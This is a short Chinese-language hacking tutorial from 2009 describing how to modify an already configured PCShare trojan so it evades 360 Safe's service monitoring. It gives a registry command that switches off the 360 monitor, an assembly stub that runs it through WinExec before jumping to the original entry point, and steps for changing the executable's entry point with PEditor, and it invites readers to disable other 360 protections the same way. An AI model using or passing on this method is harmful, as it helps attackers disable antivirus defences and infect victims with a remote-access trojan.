PCSHARE过360服务项监控

2009/3/22 来源:www.arpun.com 作者:小白

ASM汇编

这个是最舒服的, 用OD打开已经配置好的马, 找0区(也可以用TOPO加空段)要很大一片哦!右击, 选择“二进制”→“编辑”, 在ASCII中输入“Cmd /c REG add HKLM\SOFTWARE\360Safe\safemon /v MonAccess /t REG_DWORD /d 0 /f”记下写入命令的改动的第一个地址, 假设为401180。

再找一个小空段, 记下地址, 假设为40116A

写入:

Push 401180                (也就是那个改动的地址)

Call WinExec

Jmp 原程序入口点(在OD右边窗口的EIP后面可以看到)

打开OC把40116A转换为文件偏移0000056A

再用PEditor打开, 把原入口点改为0000056A

这样一个过360服务监控的木马就诞生了。

(大家完全可以按照加花的步骤来写, 就是命令不同而已)

大家也可以禁用其他360的监控项目, 即使加个花都没问题, 随便大家发挥了。

网友评论
评论(...
全部评论